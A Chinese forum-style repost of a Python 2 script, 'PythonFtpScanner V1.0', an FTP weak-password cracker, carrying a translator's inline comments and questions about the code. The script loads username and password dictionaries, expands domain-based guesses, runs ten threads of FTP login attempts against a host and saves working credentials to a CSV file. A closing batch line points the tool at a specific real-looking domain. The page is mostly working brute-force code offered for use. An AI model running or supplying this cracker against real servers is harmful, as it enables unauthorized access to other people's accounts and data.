[Python脚本] 翻译修正 FTP弱口令扫描器 - PythonFtpScanner V1.0，,PythonFtpSca

[Python脚本] 翻译修正 FTP弱口令扫描器 - PythonFtpScanner V1.0，,PythonFtpSca

PythonFtpScanner.py

#coding=utf-8# Description: PythonFtpScanner V1.0# License: LGPL#http://www.redicecn.com/html/Python/20110107/214.html#翻译飞龙  QQ316118740  BLOG   http://hi.baidu.com/alalmnimport csvimport refrom threading import Threadfrom ftplib import FTPfrom collections import defaultdict, dequeDEBUG = False  #调试使用的class PythonFtpScanner:    WEAK_USERNAME = [p.replace('\n','') for p in open('username.dic').readlines()]    WEAK_PASSWORD = [p.replace('\n','') for p in open('password.dic').readlines()]    def __init__(self, outfile='ftp_result.csv',writer=None,logfile='ftp_errorlog.log',logger=None):        self.writer = csv.writer(open(outfile, 'w')) if writer is None else writer        self.writer.writerow(['IP','用户名','密码'])        self.logger = open(logfile,'w') if logger is None else logger    def get_sdomain(self,domain):  #域名拆解www.baidu.com->baidu.com        """提取短域名从给定域        >>> get_sdomain('www.redicecn.com')        'redicecn.com'        """        suffixes = 'ac', 'ad', 'ae', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'arpa', 'as', 'asia', 'at', 'au', 'aw', 'ax', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo', 'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cat', 'cc', 'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop', 'cr', 'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do', 'dz', 'ec', 'edu', 'ee', 'eg', 'er', 'es', 'et', 'eu', 'fi', 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gov', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it', 'je', 'jm', 'jo', 'jobs', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me', 'mg', 'mh', 'mil', 'mk', 'ml', 'mm', 'mn', 'mo', 'mobi', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om', 'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr', 'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'rs', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si', 'sj', 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td', 'tel', 'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw', 'tz', 'ua', 'ug', 'uk', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xn', 'ye', 'yt', 'za', 'zm', 'zw'        sdomain = []        bdomain = False        for section in domain.split('.'):            if section in suffixes:                sdomain.append(section)                bdomain = True            else:                sdomain = [section]        return '.'.join(sdomain) if bdomain  else ''    def get_ssdomain(self,domain):  #域名拆解www.baidu.com->baidu        """提取shortter域从给定的域        >>> get_sdomain('www.redicecn.com')        'redicecn'        """        #得到sdomain第一        sdomain = self.get_sdomain(domain)  #先解析一道        ssdomian = sdomain.partition('.')[0] if sdomain else ''        return ssdomian    def ftp_login(self,host,nthreads=10,port=21,log=True): #传入名域名开始扫描        """尝试登录        if success return username & password            """        print u"要扫描IP:",host        global DEBUG  #调试使用的   DEBUG在类外面已经定义了已经是个全局变量了     这在写个有何意思呢        if host == '':  #传入值等于空   返回    如果传入成这样的   桌面\2-11010F30025>PythonFtpScanner.py 111111111111      程序死在那了等好长时间才结束值            #这个判断写的也没有意义  当你不传入值进来的时候  你在main中已经判断了  所以一定是有的            #为什么不把这句代码写到这呢self.ftp.connect(domain,port)  #连接 服务器名  端口号            print u"地址不能为空"            return        #得到sdomain和ssdomain        domain = host   #不明白未什么还要赋值  直接使用host变量不就可以了吗        sdomain = self.get_sdomain(domain)  #域名拆解www.baidu.com->baidu.com        ssdomain = self.get_ssdomain(domain)  #域名拆解www.baidu.com->baidu        #拆解不够完全有这样的一个玉米  123456.blog.baidu.com.cn   ！！！！！！！        accounts = deque()   #list数组        #准备 用户名和密码        for username in PythonFtpScanner.WEAK_USERNAME:   #导入用户名#WEAK_USERNAME=username.dic            if  '%domain%' in username or '%sdomain%' in username or '%ssdomain%' in username:                if sdomain=='':                    continue  #跳过                else:                    username = username.replace('%domain%',domain)  #返回根据正则表达式进行文字替换后的字符串的复制                    username = username.replace('%sdomain%',sdomain)                    username = username.replace('%ssdomain%',ssdomain)            for password in PythonFtpScanner.WEAK_PASSWORD:   #导入密码#WEAK_PASSWORD=password.dic                if '%domain%' in password or '%sdomain%' in password or '%ssdomain%' in password:                    if sdomain=='':                        continue  #跳过                    else:                        password = password.replace('%domain%',domain)                        password = password.replace('%sdomain%',sdomain)                        password = password.replace('%ssdomain%',ssdomain)                password = password.replace('%null%','')                password = password.replace('%username%',username)                if (username,password) not in accounts:#list数组                    accounts.append((username,password))#添加到 list数组        class crackThread(Thread):            """破解 帐户线程            """            def __init__(self,writer,logger):   #writer=ftp_result.csv   logfile='ftp_errorlog.log                Thread.__init__(self)                self.running = True  #这是  控制线程数量                self.writer = writer  #writer=ftp_result.csv   logfile='ftp_errorlog.log                self.logger = logger  #writer=ftp_result.csv   logfile='ftp_errorlog.log                self.ftp = FTP()  #初始化FTP类                #self.ftp.set_debuglevel(2)  #打开调试级别2，显示详细信息            def run(self):                MAX_RETRIES = 10                retry = 0                account = None   #None=NULL  数组                while self.running and accounts:#list数组                    try:     #个不错我觉得不错  当连接失败     为什么后面还要进行  组合连接尝试呢                            # 我觉得其实后面  就没必要在进行组合了    为什么这个不在进入类之前就开始判断呢  或者进入类的时候                        self.ftp.connect(domain,port)  #连接 服务器名  端口号                    except Exception, e:                        if DEBUG:  #调试使用的                            print e  #输出异常                        if log:  #是否输出LOG调试文件                            error = '连接: %s %s\n' % (host,str(e))                            self.logger.write(error)  #写入调试                        if retry <= MAX_RETRIES:  #这是为了控制线程吗                            retry = retry +1    #没必要使用这个变量啊                            continue  #跳过                        else:                            self.running = False  #这是  控制线程                            break   #跳出                    #重新每三次    为什么一个账户要连接3次  呢                    loop_num = 0                    while loop_num<3:                        loop_num = loop_num + 1                        if not account and accounts:#list数组                            account = accounts.pop()   #list数组  输出                        #绝对不要尝试                        if not account:   #数组无数据了就跳出                            break   #跳出                        #print u'IP:',host,u'用户名:',account[0],u'密码:',account[1]                        print ".",                        try:                            self.ftp.login(account[0],account[1])  #连接FTP                            #没有异常发生，这是一个正确的帐号                            self.writer.writerow([host, account[0],account[1]])  #writer=ftp_result.csv   logfile='ftp_errorlog.log                            print u'找到FTP成功:IP',host,u"用户名：",account[0],u"密码：",account[1]                            account = None  #None=NULL                        except Exception, e:                            if DEBUG:  #调试使用的                                print e                            if log:  #是否输出LOG调试文件                                error = '登录: %s (%s,%s)错误 %s\n' % (host,account[0],account[1],str(e))                                self.logger.write(error)    #写入调试                            emsg = str(e)    #调试信息                            #ecode = ''                            #if emsg:                                #m = re.compile(r'''\((\d+?),''').search(emsg)                                #if m:                                    #ecode = m.groups()[0]                            #need to reconnect                            #possible error code: 10053,10054,421                            #if ecode=='10053' or ecode=='10054':                            if 'connection' in emsg.lower() or 'tries' in emsg.lower():   #判断 连接  失败错误信息    不明白何意                                retry = retry +1                                if log:  #是否输出LOG调试文件                                    error = '将重试: %s (%s,%s)\n' % (host,account[0],account[1])                                    self.logger.write(error)    #写入调试                                break   #跳出                            else:                                #reset retry                                account = None  #None=NULL                                retry = 0        threads = []        for i in range(nthreads):  #nthreads=10  创建10个线程            threads.append(crackThread(self.writer,self.logger))  #writer=ftp_result.csv   logfile='ftp_errorlog.log        for thread in threads:   #不理解这是什么意思    是结束线程吗            thread.start()  #start就是开始线程        for thread in threads:   #不理解这是什么意思    是结束线程吗            thread.join()        print u"扫描结束"if __name__ == '__main__':    import sys    import socket    socket.setdefaulttimeout(10)  #设置了全局默认超时时间    if len(sys.argv)!=2:        print u'PythonFtpScanner V1.0  by redice\n'        print u'用法:\n\tPythonFtpScanner.py ftp.redicecn.com \n\n注意:\n\t建议使用域名作为参数。\n\t弱口令字典支持域变量。'    else:        ftp_cracker = PythonFtpScanner()  #初始化类        ftp_cracker.ftp_login(sys.argv[1].strip())  #传入要扫描的域名        print u'\n所有扫描！结果在 ftp_result.csv'

新建 文本文档.bat

python.exe          CFTP.py          cc7000.cn